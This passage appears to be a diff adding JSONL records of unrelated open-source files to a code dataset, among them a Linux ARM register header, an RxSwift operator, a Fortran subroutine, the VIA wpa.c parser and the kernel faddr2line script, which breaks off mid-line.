);\nchar *cgc_strncat( char *dest, const char *src, cgc_size_t n );\ncgc_size_t cgc_getline( char *buffer, cgc_size_t len);\ncgc_size_t cgc_receive_until( char *, char, cgc_size_t );\nint cgc_receive_bytes (unsigned char *buffer, cgc_size_t size) ;\ncgc_size_t cgc_strcat( char *, char* );\ncgc_size_t cgc_strlen( char * );\ncgc_size_t cgc_itoa( char *, cgc_size_t, cgc_size_t );\nvoid cgc_puts( char *t );\nchar *cgc_strchr(const char *, int);\nchar *cgc_strtok(char *, const char *);\ncgc_size_t cgc_write( const void *, cgc_size_t );\nchar *cgc_strdup( char * );\n\n#endif // __STDLIB_H__\n"}
+{"text": "/*\n *  arch/arm/include/asm/hardware/cs89712.h\n *\n *  This file contains the hardware definitions of the CS89712\n *  additional internal registers.\n *\n *  Copyright (C) 2001 Thomas Gleixner autronix automation \n *\t\t\t\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n */\n#ifndef __ASM_HARDWARE_CS89712_H\n#define __ASM_HARDWARE_CS89712_H\n\n/*\n*\tCS89712 additional registers\n*/\n                                  \n#define PCDR\t\t\t0x0002\t/* Port C Data register ---------------------------- */\n#define PCDDR\t\t\t0x0042\t/* Port C Data Direction register ------------------ */\n#define SDCONF\t\t\t0x2300  /* SDRAM Configuration register ---------------------*/\n#define SDRFPR\t\t\t0x2340  /* SDRAM Refresh period register --------------------*/\n\n#define SDCONF_ACTIVE\t\t(1 << 10)\n#define SDCONF_CLKCTL\t\t(1 << 9)\n#define SDCONF_WIDTH_4\t\t(0 << 7)\n#define SDCONF_WIDTH_8\t\t(1 << 7)\n#define SDCONF_WIDTH_16\t\t(2 << 7)\n#define SDCONF_WIDTH_32\t\t(3 << 7)\n#define SDCONF_SIZE_16\t\t(0 << 5)\n#define SDCONF_SIZE_64\t\t(1 << 5)\n#define SDCONF_SIZE_128\t\t(2 << 5)\n#define SDCONF_SIZE_256\t\t(3 << 5)\n#define SDCONF_CASLAT_2\t\t(2)\n#define SDCONF_CASLAT_3\t\t(3)\n\n#endif /* __ASM_HARDWARE_CS89712_H */\n"}
+{"text": "//\n//  ElementAt.swift\n//  RxSwift\n//\n//  Created by Junior B. on 21/10/15.\n//  Copyright © 2015 Krunoslav Zaher. All rights reserved.\n//\n\nextension ObservableType {\n\n    /**\n     Returns a sequence emitting only element _n_ emitted by an Observable\n\n     - seealso: [elementAt operator on reactivex.io](http://reactivex.io/documentation/operators/elementat.html)\n\n     - parameter index: The index of the required element (starting from 0).\n     - returns: An observable sequence that emits the desired element as its own sole emission.\n     */\n    public func elementAt(_ index: Int)\n        -> Observable {\n        return ElementAt(source: asObservable(), index: index, throwOnEmpty: true)\n    }\n}\n\nfinal fileprivate class ElementAtSink : Sink, ObserverType {\n    typealias SourceType = O.E\n    typealias Parent = ElementAt\n    \n    let _parent: Parent\n    var _i: Int\n    \n    init(parent: Parent, observer: O, cancel: Cancelable) {\n        _parent = parent\n        _i = parent._index\n        \n        super.init(observer: observer, cancel: cancel)\n    }\n    \n    func on(_ event: Event) {\n        switch event {\n        case .next(_):\n\n            if (_i == 0) {\n                forwardOn(event)\n                forwardOn(.completed)\n                self.dispose()\n            }\n            \n            do {\n                let _ = try decrementChecked(&_i)\n            } catch(let e) {\n                forwardOn(.error(e))\n                dispose()\n                return\n            }\n            \n        case .error(let e):\n            forwardOn(.error(e))\n            self.dispose()\n        case .completed:\n            if (_parent._throwOnEmpty) {\n                forwardOn(.error(RxError.argumentOutOfRange))\n            } else {\n                forwardOn(.completed)\n            }\n            \n            self.dispose()\n        }\n    }\n}\n\nfinal fileprivate class ElementAt : Producer {\n    \n    let _source: Observable\n    let _throwOnEmpty: Bool\n    let _index: Int\n    \n    init(source: Observable, index: Int, throwOnEmpty: Bool) {\n        if index < 0 {\n            rxFatalError(\"index can't be negative\")\n        }\n\n        self._source = source\n        self._index = index\n        self._throwOnEmpty = throwOnEmpty\n    }\n    \n    override func run(_ observer: O, cancel: Cancelable) -> (sink: Disposable, subscription: Disposable) where O.E == SourceType {\n        let sink = ElementAtSink(parent: self, observer: observer, cancel: cancel)\n        let subscription = _source.subscribe(sink)\n        return (sink: sink, subscription: subscription)\n    }\n}\n"}
+{"text": "      SUBROUTINE AKAPM (ARG,BKPM)        \r\nC        \r\nC     SUBROUTINE FOR COMPUTING KAPPA MINUS        \r\nC        \r\n      COMPLEX         BKPM,C1,AI,C1TEST,BSYCON,ARG,        \r\n     1                AT2,AT3,ALP0,ALP,ALN        \r\n      CHARACTER       UFM*23        \r\n      COMMON /XMSSG / UFM        \r\n      COMMON /SYSTEM/ SYSBUF,IBBOUT        \r\n      COMMON /BLK1  / SCRK,SPS,SNS,DSTR,AI,PI,DEL,SIGMA,BETA,RES        \r\n      COMMON /BLK2  / BSYCON        \r\nC        \r\n      C1   = CEXP(-AI*ARG/2.0*(SPS-SNS))        \r\n      GAM0 = SPS*DEL - SIGMA        \r\n      PI2  = 2.0*PI        \r\n      S1   = SPS/(DSTR**2)        \r\n      S2   = SNS/DSTR        \r\n      C2Q  = GAM0/DSTR - SCRK        \r\n      C3Q  = GAM0/DSTR + SCRK        \r\n      NN   = 0        \r\n      CSEC = C2Q*C3Q        \r\n      IF (CSEC .LT. 0.0) NN = 1        \r\n      T1   = GAM0*S1        \r\n      T2   = S2*SQRT(ABS(CSEC))        \r\n      IF (C2Q.LT.0.0 .AND. C3Q.LT.0.0) T2 =-T2        \r\n      IF (NN .EQ. 0) ALP0 = T1 + T2        \r\n      IF (NN .EQ. 1) ALP0 = CMPLX(T1,T2)        \r\n      C1   = C1*(1.0-ARG/ALP0)        \r\n      A1   = PI2/(SPS-SNS)        \r\n      A2   =-A1        \r\n      B1   = GAM0/(SPS-SNS)        \r\n      C1TEST = 0.0        \r\n      DO 20 I = 1,200        \r\n      R    = I        \r\n      GAMP = PI2*R + GAM0        \r\n      GAMN =-PI2*R + GAM0        \r\n      C2P  = GAMP/DSTR - SCRK        \r\n      C2Q  = GAMP/DSTR + SCRK        \r\n      C2N  = GAMN/DSTR - SCRK        \r\n      C3Q  = GAMN/DSTR + SCRK        \r\n      NN   = 0        \r\n      CSEC = C2P*C2Q        \r\n      IF (CSEC .LT. 0.0) NN = 1        \r\n      T1   = GAMP*S1        \r\n      T2   = S2*SQRT(ABS(CSEC))        \r\n      IF (C2P.LT.0.0 .AND. C2Q.LT.0.0) T2 =-T2        \r\n      IF (NN .EQ. 0) ALP = T1 + T2        \r\n      IF (NN .EQ. 1) ALP = CMPLX(T1,T2)        \r\n      NN   = 0        \r\n      CSEC = C2N*C3Q        \r\n      IF (CSEC .LT. 0.0) NN = 1        \r\n      T1   = GAMN*S1        \r\n      T2   = S2*SQRT(ABS(CSEC))        \r\n      IF (C2N.LT.0.0 .AND. C3Q.LT.0.0) T2 =-T2        \r\n      IF (NN .EQ. 0) ALN = T1 + T2        \r\n      IF (NN .EQ. 1) ALN = CMPLX(T1,T2)        \r\n      AT2  = (ALP-A1*R-B1)/(A1*R+B1-ARG)        \r\n      AT3  = (ALN-A2*R-B1)/(A2*R+B1-ARG)        \r\n      C1   = C1*(1.0+AT2)*(1.0+AT3)        \r\n      IF (CABS((C1-C1TEST)/C1) .LT. 0.0009) GO TO 50        \r\n      C1TEST = C1        \r\n   20 CONTINUE        \r\n      GO TO 70        \r\n   50 CONTINUE        \r\n      C1   = C1*B1/(ARG-B1)*CSIN(PI/A1*(ARG-B1))/(SIN(PI*B1/A1))        \r\n      C1   = C1*BSYCON        \r\n      BKPM = C1        \r\n      RETURN        \r\nC        \r\n   70 WRITE  (IBBOUT,80) UFM        \r\n   80 FORMAT (A23,' - AMG MODULE -SUBROUTINE AKAPM')        \r\n      CALL MESAGE (-61,0,0)        \r\n      RETURN        \r\n      END        \r\n"}
+{"text": "/*\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on\n * an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n *\n * Copyright 2012-2020 the original author or authors.\n */\npackage org.assertj.core.util;\n\nimport static org.assertj.core.api.Assertions.assertThat;\n\nimport java.util.HashSet;\n\nimport org.junit.jupiter.api.Test;\n\n/**\n * Tests for {@link Sets#newHashSet()}.\n * \n * @author Christian Rösch\n */\nclass Sets_newHashSet_Test {\n  @Test\n  void should_return_empty_mutable_Set() {\n    HashSet set = Sets.newHashSet();\n    assertThat(set).isEmpty();\n\n    set.add(\"element\");\n    assertThat(set).containsExactly(\"element\");\n  }\n\n  @Test\n  void should_return_new_HashSet() {\n    HashSet set1 = Sets.newHashSet();\n    HashSet set2 = Sets.newHashSet();\n    assertThat(set2).isNotSameAs(set1);\n\n    // be sure they have nothing in common\n    set1.add(\"element\");\n    assertThat(set2).isEmpty();\n  }\n}\n"}
+{"text": "//\n//     Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48).\n//\n//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \"NSObject-Protocol.h\"\n\n@class FavDataItemWrap, FavoritesItem;\n\n@protocol FavVideoDetailDelegate \n\n@optional\n- (void)OpenVideoFavDataWrap:(FavDataItemWrap *)arg1;\n- (void)OpenVideoFavItem:(FavoritesItem *)arg1;\n@end\n\n"}
+{"text": "/*\n * Copyright (c) 1996, 2003 VIA Networking Technologies, Inc.\n * All rights reserved.\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n *\n * File: wpa.c\n *\n * Purpose: Handles the Basic Service Set & Node Database functions\n *\n * Functions:\n *      WPA_ParseRSN - Parse RSN IE.\n *\n * Revision History:\n *\n * Author: Kyle Hsu\n *\n * Date: July 14, 2003\n *\n */\n\n#include \"ttype.h\"\n#include \"tmacro.h\"\n#include \"tether.h\"\n#include \"device.h\"\n#include \"80211hdr.h\"\n#include \"bssdb.h\"\n#include \"wmgr.h\"\n#include \"wpa.h\"\n#include \"80211mgr.h\"\n\n/*---------------------  Static Variables  --------------------------*/\nstatic int          msglevel                =MSG_LEVEL_INFO;\n\nconst unsigned char abyOUI00[4] = { 0x00, 0x50, 0xf2, 0x00 };\nconst unsigned char abyOUI01[4] = { 0x00, 0x50, 0xf2, 0x01 };\nconst unsigned char abyOUI02[4] = { 0x00, 0x50, 0xf2, 0x02 };\nconst unsigned char abyOUI03[4] = { 0x00, 0x50, 0xf2, 0x03 };\nconst unsigned char abyOUI04[4] = { 0x00, 0x50, 0xf2, 0x04 };\nconst unsigned char abyOUI05[4] = { 0x00, 0x50, 0xf2, 0x05 };\n\n\n/*+\n *\n * Description:\n *    Clear RSN information in BSSList.\n *\n * Parameters:\n *  In:\n *      pBSSList - BSS list.\n *  Out:\n *      none\n *\n * Return Value: none.\n *\n-*/\n\nvoid\nWPA_ClearRSN (\n    PKnownBSS        pBSSList\n    )\n{\n    int ii;\n    pBSSList->byGKType = WPA_TKIP;\n    for (ii=0; ii < 4; ii ++)\n        pBSSList->abyPKType[ii] = WPA_TKIP;\n    pBSSList->wPKCount = 0;\n    for (ii=0; ii < 4; ii ++)\n        pBSSList->abyAuthType[ii] = WPA_AUTH_IEEE802_1X;\n    pBSSList->wAuthCount = 0;\n    pBSSList->byDefaultK_as_PK = 0;\n    pBSSList->byReplayIdx = 0;\n    pBSSList->sRSNCapObj.bRSNCapExist = false;\n    pBSSList->sRSNCapObj.wRSNCap = 0;\n    pBSSList->bWPAValid = false;\n}\n\n\n/*+\n *\n * Description:\n *    Parse RSN IE.\n *\n * Parameters:\n *  In:\n *      pBSSList - BSS list.\n *      pRSN - Pointer to the RSN IE.\n *  Out:\n *      none\n *\n * Return Value: none.\n *\n-*/\nvoid\nWPA_ParseRSN (\n    PKnownBSS        pBSSList,\n    PWLAN_IE_RSN_EXT pRSN\n    )\n{\n    PWLAN_IE_RSN_AUTH  pIE_RSN_Auth = NULL;\n    int                i, j, m, n = 0;\n    unsigned char *pbyCaps;\n\n    WPA_ClearRSN(pBSSList);\n\n    DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"WPA_ParseRSN: [%d]\\n\", pRSN->len);\n\n    // information element header makes sense\n    if ((pRSN->len >= 6) // oui1(4)+ver(2)\n         && (pRSN->byElementID == WLAN_EID_RSN_WPA) &&  !memcmp(pRSN->abyOUI, abyOUI01, 4)\n         && (pRSN->wVersion == 1)) {\n\n        DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"Legal RSN\\n\");\n        // update each variable if pRSN is long enough to contain the variable\n        if (pRSN->len >= 10) //oui1(4)+ver(2)+GKSuite(4)\n        {\n            if ( !memcmp(pRSN->abyMulticast, abyOUI01, 4))\n                pBSSList->byGKType = WPA_WEP40;\n            else if ( !memcmp(pRSN->abyMulticast, abyOUI02, 4))\n                pBSSList->byGKType = WPA_TKIP;\n            else if ( !memcmp(pRSN->abyMulticast, abyOUI03, 4))\n                pBSSList->byGKType = WPA_AESWRAP;\n            else if ( !memcmp(pRSN->abyMulticast, abyOUI04, 4))\n                pBSSList->byGKType = WPA_AESCCMP;\n            else if ( !memcmp(pRSN->abyMulticast, abyOUI05, 4))\n                pBSSList->byGKType = WPA_WEP104;\n            else\n                // any vendor checks here\n                pBSSList->byGKType = WPA_NONE;\n\n            DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"byGKType: %x\\n\", pBSSList->byGKType);\n        }\n\n        if (pRSN->len >= 12) //oui1(4)+ver(2)+GKS(4)+PKSCnt(2)\n        {\n            j = 0;\n            DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"wPKCount: %d, sizeof(pBSSList->abyPKType): %zu\\n\", pRSN->wPKCount, sizeof(pBSSList->abyPKType));\n            for(i = 0; (i < pRSN->wPKCount) && (j < sizeof(pBSSList->abyPKType)/sizeof(unsigned char)); i++) {\n                if(pRSN->len >= 12+i*4+4) { //oui1(4)+ver(2)+GKS(4)+PKSCnt(2)+PKS(4*i)\n                    if ( !memcmp(pRSN->PKSList[i].abyOUI, abyOUI00, 4))\n                        pBSSList->abyPKType[j++] = WPA_NONE;\n                    else if ( !memcmp(pRSN->PKSList[i].abyOUI, abyOUI02, 4))\n                        pBSSList->abyPKType[j++] = WPA_TKIP;\n                    else if ( !memcmp(pRSN->PKSList[i].abyOUI, abyOUI03, 4))\n                        pBSSList->abyPKType[j++] = WPA_AESWRAP;\n                    else if ( !memcmp(pRSN->PKSList[i].abyOUI, abyOUI04, 4))\n                        pBSSList->abyPKType[j++] = WPA_AESCCMP;\n                    else\n                        // any vendor checks here\n                        ;\n                }\n                else\n                    break;\n                //DBG_PRN_GRP14((\"abyPKType[%d]: %X\\n\", j-1, pBSSList->abyPKType[j-1]));\n            } //for\n            pBSSList->wPKCount = (unsigned short)j;\n            DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"wPKCount: %d\\n\", pBSSList->wPKCount);\n        }\n\n        m = pRSN->wPKCount;\n        DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"m: %d\\n\", m);\n        DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"14+m*4: %d\\n\", 14+m*4);\n\n        if (pRSN->len >= 14+m*4) { //oui1(4)+ver(2)+GKS(4)+PKSCnt(2)+PKS(4*m)+AKC(2)\n            // overlay IE_RSN_Auth structure into correct place\n            pIE_RSN_Auth = (PWLAN_IE_RSN_AUTH) pRSN->PKSList[m].abyOUI;\n            j = 0;\n            DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"wAuthCount: %d, sizeof(pBSSList->abyAuthType): %zu\\n\",\n                          pIE_RSN_Auth->wAuthCount, sizeof(pBSSList->abyAuthType));\n            for(i = 0; (i < pIE_RSN_Auth->wAuthCount) && (j < sizeof(pBSSList->abyAuthType)/sizeof(unsigned char)); i++) {\n                if(pRSN->len >= 14+4+(m+i)*4) { //oui1(4)+ver(2)+GKS(4)+PKSCnt(2)+PKS(4*m)+AKC(2)+AKS(4*i)\n                    if ( !memcmp(pIE_RSN_Auth->AuthKSList[i].abyOUI, abyOUI01, 4))\n                        pBSSList->abyAuthType[j++] = WPA_AUTH_IEEE802_1X;\n                    else if ( !memcmp(pIE_RSN_Auth->AuthKSList[i].abyOUI, abyOUI02, 4))\n                        pBSSList->abyAuthType[j++] = WPA_AUTH_PSK;\n                    else\n                    // any vendor checks here\n                    ;\n                }\n                else\n                    break;\n                //DBG_PRN_GRP14((\"abyAuthType[%d]: %X\\n\", j-1, pBSSList->abyAuthType[j-1]));\n            }\n            if(j > 0)\n                pBSSList->wAuthCount = (unsigned short)j;\n            DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"wAuthCount: %d\\n\", pBSSList->wAuthCount);\n        }\n\n        if (pIE_RSN_Auth != NULL) {\n\n            n = pIE_RSN_Auth->wAuthCount;\n\n            DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"n: %d\\n\", n);\n            DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO\"14+4+(m+n)*4: %d\\n\", 14+4+(m+n)*4);\n\n            if(pRSN->len+2 >= 14+4+(m+n)*4) { //oui1(4)+ver(2)+GKS(4)+PKSCnt(2)+PKS(4*m)+AKC(2)+AKS(4*n)+Cap(2)\n                pbyCaps = (unsigned char *)pIE_RSN_Auth->AuthKSList[n].abyOUI;\n                pBSSList->byDefaultK_as_PK = (*pbyCaps) & WPA_GROUPFLAG;\n                pBSSList->byReplayIdx = 2 << ((*pbyCaps >> WPA_REPLAYBITSSHIFT) & WPA_REPLAYBITS);\n                pBSSList->sRSNCapObj.bRSNCapExist = true;\n                pBSSList->sRSNCapObj.wRSNCap = *(unsigned short *)pbyCaps;\n                //DBG_PRN_GRP14((\"pbyCaps: %X\\n\", *pbyCaps));\n                //DBG_PRN_GRP14((\"byDefaultK_as_PK: %X\\n\", pBSSList->byDefaultK_as_PK));\n                //DBG_PRN_GRP14((\"byReplayIdx: %X\\n\", pBSSList->byReplayIdx));\n            }\n        }\n        pBSSList->bWPAValid = true;\n    }\n}\n\n/*+\n *\n * Description:\n *    Search RSN information in BSSList.\n *\n * Parameters:\n *  In:\n *      byCmd    - Search type\n *      byEncrypt- Encrcypt Type\n *      pBSSList - BSS list\n *  Out:\n *      none\n *\n * Return Value: none.\n *\n-*/\nbool\nWPA_SearchRSN (\n    unsigned char byCmd,\n    unsigned char byEncrypt,\n    PKnownBSS        pBSSList\n    )\n{\n    int ii;\n    unsigned char byPKType = WPA_NONE;\n\n    if (pBSSList->bWPAValid == false)\n        return false;\n\n    switch(byCmd) {\n    case 0:\n\n        if (byEncrypt != pBSSList->byGKType)\n            return false;\n\n        if (pBSSList->wPKCount > 0) {\n            for (ii = 0; ii < pBSSList->wPKCount; ii ++) {\n                if (pBSSList->abyPKType[ii] == WPA_AESCCMP)\n                    byPKType = WPA_AESCCMP;\n                else if ((pBSSList->abyPKType[ii] == WPA_TKIP) && (byPKType != WPA_AESCCMP))\n                     byPKType = WPA_TKIP;\n                else if ((pBSSList->abyPKType[ii] == WPA_WEP40) && (byPKType != WPA_AESCCMP) && (byPKType != WPA_TKIP))\n                     byPKType = WPA_WEP40;\n                else if ((pBSSList->abyPKType[ii] == WPA_WEP104) && (byPKType != WPA_AESCCMP) && (byPKType != WPA_TKIP))\n                     byPKType = WPA_WEP104;\n            }\n            if (byEncrypt != byPKType)\n                return false;\n        }\n        return true;\n//        if (pBSSList->wAuthCount > 0)\n//            for (ii=0; ii < pBSSList->wAuthCount; ii ++)\n//                if (byAuth == pBSSList->abyAuthType[ii])\n//                    break;\n        break;\n\n    default:\n        break;\n    }\n    return false;\n}\n\n/*+\n *\n * Description:\n *    Check if RSN IE makes sense.\n *\n * Parameters:\n *  In:\n *      pRSN - Pointer to the RSN IE.\n *  Out:\n *      none\n *\n * Return Value: none.\n *\n-*/\nbool\nWPAb_Is_RSN (\n    PWLAN_IE_RSN_EXT pRSN\n    )\n{\n    if (pRSN == NULL)\n        return false;\n\n    if ((pRSN->len >= 6) && // oui1(4)+ver(2)\n        (pRSN->byElementID == WLAN_EID_RSN_WPA) &&  !memcmp(pRSN->abyOUI, abyOUI01, 4) &&\n        (pRSN->wVersion == 1)) {\n        return true;\n    }\n    else\n        return false;\n}\n\n"}
+{"text": " array($docComment))\n        );\n\n        $node = $this->createNamespaceBuilder('Name\\Space')\n            ->addStmt($stmt1)\n            ->addStmts(array($stmt2, $stmt3))\n            ->setDocComment($docComment)\n            ->getNode()\n        ;\n        $this->assertEquals($expected, $node);\n\n        $node = $this->createNamespaceBuilder(new Node\\Name(array('Name', 'Space')))\n            ->setDocComment($docComment)\n            ->addStmts(array($stmt1, $stmt2))\n            ->addStmt($stmt3)\n            ->getNode()\n        ;\n        $this->assertEquals($expected, $node);\n\n        $node = $this->createNamespaceBuilder(null)->getNode();\n        $this->assertNull($node->name);\n        $this->assertEmpty($node->stmts);\n    }\n}\n"}
+{"text": "#!/bin/bash\n# SPDX-License-Identifier: GPL-2.0\n#\n# Translate stack dump function offsets.\n#\n# addr2line doesn't work with KASLR addresses.  This works similarly to\n# addr2line, but instead takes the 'func+0x123' format as input:\n#\n#   $ ./scripts/faddr2line ~/k/vmlinux meminfo_proc_show+0x5/0x568\n#   meminfo_proc_show+0x5/0x568:\n#   meminfo_proc_show at fs/proc/meminfo.c:27\n#\n# If the address is part of an inlined function, the full inline call chain is\n# printed:\n#\n#   $ ./scripts/faddr2line ~/k/vmlinux native_write_msr+0x6/0x27\n#   native_write_msr+0x6/0x27:\n#   arch_static_branch at arch/x86/include/asm/msr.h:121\n#    (inlined by) static_key_false at include/linux/jump_label.h:125\n#    (inlined by) native_write_msr at arch/x86/include/asm/msr.h:125\n#\n# The function size after the '/' in the input is optional, but recommended.\n# It's used to help disambiguate any duplicate symbol names, which can occur\n# rarely.  If the size is omitted for a duplicate symbol then it's possible for\n# multiple code sites to be printed:\n#\n#   $ ./scripts/faddr2line ~/k/vmlinux raw_ioctl+0x5\n#   raw_ioctl+0x5/0x20:\n#   raw_ioctl at drivers/char/raw.c:122\n#\n#   raw_ioctl+0x5/0xb1:\n#   raw_ioctl at net/ipv4/raw.c:876\n#\n# Multiple addresses can be specified on a single command line:\n#\n#   $ ./scripts/faddr2line ~/k/vmlinux type_show+0x10/45 free_reserved_area+0x90\n#   type_show+0x10/0x2d:\n#   type_show at drivers/video/backlight/backlight.c:213\n#\n#   free_reserved_area+0x90/0x123:\n#   free_reserved_area at mm/page_alloc.c:6429 (discriminator 2)\n\n\nset -o errexit\nset -o nounset\n\nREADELF=\"${CROSS_COMPILE:-}readelf\"\nADDR2LINE=\"${CROSS_COMPILE:-}addr2line\"\nSIZE=\"${CROSS_COMPILE:-}size\"\nNM=\"${CROSS_COMPILE:-}nm\"\n\ncommand -v awk >/dev/null 2>&1 || die \"awk isn't installed\"\ncommand -v ${READELF} >/dev/null 2>&1 || die \"readelf isn't installed\"\ncommand -v ${ADDR2LINE} >/dev/null 2>&1 || die \"addr2line isn't installed\"\ncommand -v ${SIZE} >/dev/null 2>&1 || die \"size isn't installed\"\ncommand -v ${NM} >/dev/null 2>&1 || die \"nm isn't installed\"\n\nusage() {\n\techo \"usage: faddr2line [--list]   ...\" >&2\n\texit 1\n}\n\nwarn() {\n\techo \"$1\" >&2\n}\n\ndie() {\n\techo \"ERROR: $1\" >&2\n\texit 1\n}\n\n# Try to figure out the source directory prefix so we can remove it from the\n# addr2line output.  HACK ALERT: This assumes that start_kernel() is in\n# init/main.c!  This only works for vmlinux.  Otherwise it falls back to\n# printing the absolute path.\nfind_dir_prefix() {\n\tlocal objfile=$1\n\n\tlocal start_kernel_addr=$(${READELF} -sW $objfile | awk '$8 == \"start_kernel\" {printf \"0x%s\", $2}')\n\t[[ -z $start_kernel_addr ]] && return\n\n\tlocal file_line=$(${ADDR2LINE} -e $objfile $start_kernel_addr)\n\t[[ -z $file_line ]] && return\n\n\tlocal prefix=${file_line%init/main.c:*}\n\tif [[ -z $prefix ]] || [[ $prefix = $file_line ]]; then\n\t\treturn\n\tfi\n\n\tDIR_PREFIX=$prefix\n\treturn 0\n}\n\n__faddr2line() {\n\tlocal objfile=$1\n\tlocal func_addr=$2\n\tlocal dir_prefix=$3\n\tlocal print_warnings=$4\n\n\tlocal func=${func_addr%+*}\n\tlocal offset=${func_addr#*+}\n\toffset=${offset%/*}\n\tlocal size=\n\t[[ $func_addr =~ \"/\" ]] && size=${func_addr#*/}\n\n\tif [[ -z $func ]] || [[ -z $offset ]] || [[ $func = $func_addr ]]; then\n\t\twarn \"bad func+offset $func_addr\"\n\t\tDONE=1\n\t\treturn\n\tfi\n\n\t# Go through each of the object's symbols which match the func name.\n\t# In rare cases there might be duplicates.\n\tfile_end=$(${SIZE} -Ax $objfile | awk '$1 == \".text\" {print $2}')\n\twhile read symbol; do\n\t\tlocal fields=($symbol)\n\t\tlocal sym_base=0x${fields[0]}\n\t\tlocal sym_type=${fields[1]}\n\t\tlocal sym_end=${fields[3]}\n\n\t\t# calculate the size\n\t\tlocal sym_size=$(($sym_end - $sym_base))\n\t\tif [[ -z $sym_size ]] || [[ $sym_size -le 0 ]]; then\n\t\t\twarn \"bad symbol size: base: $sym_base end: $sym_end\"\n\t\t\tDONE=1\n\t\t\treturn\n\t\tfi\n\t\tsym_size=0x$(printf %x $sym_size)\n\n\t\t# calculate the address\n\t\tlocal addr=$(($sym_base + $offset))\n\t\tif [[ -z $addr ]] || [[ $addr = 0 ]]; then\n\t\t\twarn \"bad address: $sym_base + $offset\"\n\t\t\tDONE=1\n\t\t\treturn\n\t\tfi\n\t\taddr=0x$(printf %x $addr)\n\n\t\t# weed out non-function symbols\n\t\tif [[ $sym_type != t ]] && [[ $sym_type != T ]]; then\n\t\t\t[[ $print_warnings = 1 ]] &&\n\t\t\t\techo \"skipping $func address at $addr due to non-function symbol of type '$sym_type'\"\n\t\t\tcontinue\n\t\tfi\n\n\t\t# if the user provided a size, make sure it matches the symbol's size\n\t\tif [[ -n $size ]] && [[ $size -ne $sym_size ]]; then\n\t\t\t[[ $print_warnings = 1 ]] &&\n\t\t\t\techo \"skipping $func address at $addr due to size mismatch ($size != $sym_size)\"\n\t\t\tcontinue;\n\t\tfi\n\n\t\t# make sure the provided offset is within the symbol's range\n\t\tif [[ $offset -gt $sym_size ]]; then\n\t\t\t[[ $print_warnings = 1 ]] &&\n\t\t\t\techo \"skipping $func address at $addr due to size mismatch ($offset > $sym_size)\"\n\t\t\tcontinue\n\t\tfi\n\n\t\t# separate multiple entries with a blank line\n\t\t[[ $FIRST = 0 ]] && echo\n\t\tFIRST=0\n\n\t\t# pass real address to addr2line\n\t\techo \"$func+$offset/$sym_size:\"\n\t\tlocal file_lines=$(${ADDR2LINE} -fpie $objfile $addr | sed \"s; $dir_prefix\\(\\./\\)*; ;\")\n\t\t[[ -z $file_lines ]] && return\n\n\t\tif [[ $LIST = 0 ]]; then\n\t\t\techo \"$file_lines\" | while read -r line\n\t\t\tdo\n\t\t\t\techo $line\n\t\t\tdone\n\t\t\tDONE=1;\n\t\t\treturn\n\t\tfi\n\n\t\t# show each line with context\n\t\techo \"$file_lines\" | while read -r line\n\t\tdo\n\t\t\techo\n\t\t\techo $line\n\t\t\tn=$(echo $line | sed 's/.*:\\([0-9]\\+\\).*/\\1/g')\n\t\t\tn1=$[$n-5]\n\t\t\tn2=$[$n+5]\n\t\t\tf=$(echo $line | sed 's/.*at \\(.\\+\\):.*/\\1/g')\n\t\t\tawk 'NR>=strtonum(\"'$n1'\") && NR<=strtonum(\"'$n2'\") { if (NR=='$n') printf(\">%d<\", NR); else printf(\" %d \", NR); printf(\"\\t%s\\n\", $0)}' $f\n\t\tdone\n\n\t\tDONE=1\n\n\tdone < <(${NM} -n $objfile | awk -v fn=$func -v end=$file_end '$3 == fn { found=1; line=$0; start=$1; next } found == 1 { found=0; print line, \"0x\"$1 } END {if (found == 1) print line, end; }')\n}\n\n[[ $# -lt 2 ]] && usage\n\nobjfile=$1\n\nLIST=0\n[[ \"$objfile\" == \"--list\" ]] && LIST=1 && shift && objfile=$1\n\n[[ ! -f $objfile ]] && die \"can't find objfile $objfile\"\nshift\n\nDIR_PREFIX=supercalifragilisticexpialidocious\nfind_dir_prefix $objfile\n\nFIRST=1\nwhile [[ $# -gt 0 ]]; do\n\tfunc_addr=$1\n\tshift\n\n\t# print any matches found\n\tDONE=0\n\t__faddr2line $objfile $func_addr $DIR_PREFIX 0\n\n\t# if no match was found, print warnings\n\tif [[ $DONE = 0 ]]; then\n\t\t__faddr2line $objfile $func_addr $DIR_PREFIX 1\n\t\twarn \"no match for 